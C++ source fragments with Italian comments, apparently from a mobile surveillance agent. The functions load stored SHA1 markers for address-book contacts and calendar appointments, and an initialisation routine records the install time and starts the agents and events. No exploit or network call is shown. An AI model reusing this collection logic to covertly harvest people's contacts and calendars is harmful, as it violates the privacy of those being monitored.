UINT CPoomAddressbook::LoadMarkup(UINT uAgentId) { //leggo dal markup lo sha1 dei singoli contatti dell'addressbook e riempio la struttura BYTE *pBuf = NULL; UINT uSize; UINT numMarkupContact=0; Log pPOOMMarkupRead = Log(); //se esiste un markup lo carico if (pPOOMMarkupRead.IsMarkup(uAgentId)){ // Export di tutti i dati //m_pInstance->_Export(); //pPOOMMarkup.WriteMarkup(uAgentId,(BYTE *)&dwNotify, uSize); pBuf = pPOOMMarkupRead.ReadMarkup(uAgentId, &uSize); numMarkupContact=uSize/sizeof(identifyContact); identifyContact* storeMarkupContact;// = new identifyContact[numMarkupContact]; storeMarkupContact=(identifyContact*)pBuf; addressbookMapSha1.clear(); for(unsigned int j=0;j<numMarkupContact;j++) { identifyContact IdSha1; IdSha1.ID=storeMarkupContact->ID; memcpy(IdSha1.sha1,storeMarkupContact->sha1,sizeof(IdSha1.sha1)); IdSha1.sha1flag=0; addressbookMapSha1[storeMarkupContact->ID]=IdSha1; storeMarkupContact++; } //ho storato tutto in addressbookMapSha1 per cui posso liberare la memoria SAFE_DELETE(pBuf); } return numMarkupContact; }
UINT CPoomCalendar::LoadMarkup(UINT uAgentId) { //leggo dal markup lo sha1 dei singoli contatti del Calendar e riempio la struttura BYTE *pBuf = NULL; UINT uSize; UINT numMarkupAppointment=0; Log pPOOMMarkupRead = Log(); //se esiste un markup lo carico if (pPOOMMarkupRead.IsMarkup(uAgentId)) { pBuf = pPOOMMarkupRead.ReadMarkup(uAgentId, &uSize); numMarkupAppointment=uSize/sizeof(identifyAppointment); identifyAppointment* storeMarkupContact; storeMarkupContact=(identifyAppointment*)pBuf; calendarMapSha1.clear(); for(unsigned int j=0;j<numMarkupAppointment;j++) { identifyAppointment IdSha1; IdSha1.ID=storeMarkupContact->ID; memcpy(IdSha1.sha1,storeMarkupContact->sha1,sizeof(IdSha1.sha1)); IdSha1.sha1flag=0; calendarMapSha1[storeMarkupContact->ID]=IdSha1; storeMarkupContact++; } //ho storato tutto in addressbookMapSha1 per cui posso liberare la memoria SAFE_DELETE(pBuf); } return numMarkupAppointment; }
BOOL Task::TaskInit() { if (deviceObj) deviceObj->RefreshData(); // Inizializza varie cose tra cui g_InstanceId if (confObj) { delete confObj; confObj = NULL; } confObj = new(std::nothrow) Conf(); if (confObj == NULL) return FALSE; if (confObj->LoadConf() == FALSE) { DBG_TRACE(L"Debug - Task.cpp - confObj->LoadConf() FAILED\n", 1, FALSE); ADDDEMOMESSAGE(L"Configuration... FAILED\n"); return FALSE; } ADDDEMOMESSAGE(L"Configuration... OK\n"); if (getDemo()) { DBG_TRACE(L"Debug - Task.cpp - Starting in DEMO mode\n", 1, FALSE); } //si salva la lista dei log if (uberlogObj) uberlogObj->ScanLogs(); // Da qui in poi inizia la concorrenza tra i thread #ifdef _DEBUG eventsManager->dumpEvents(); #endif // Let's mark our first installation Log log; if (log.IsMarkup(EVENT_AFTERINST) == FALSE) { Date d; __int64 now = d.getCurAbsoluteMs(); log.WriteMarkup(EVENT_AFTERINST, (PBYTE)&now, sizeof(now)); } if (eventsManager->startAll() == FALSE) { DBG_TRACE(L"Debug - Task.cpp - eventsManager->startAll() FAILED\n", 1, FALSE); ADDDEMOMESSAGE(L"Events... FAILED\n"); return FALSE; } DBG_TRACE(L"Debug - Task.cpp - TaskInit() events started\n", 5, FALSE); ADDDEMOMESSAGE(L"Events... OK\nAgents:... OK\n"); #ifndef _DEBUG if (getDemo()) { startDisturboTask(); } #endif return TRUE; }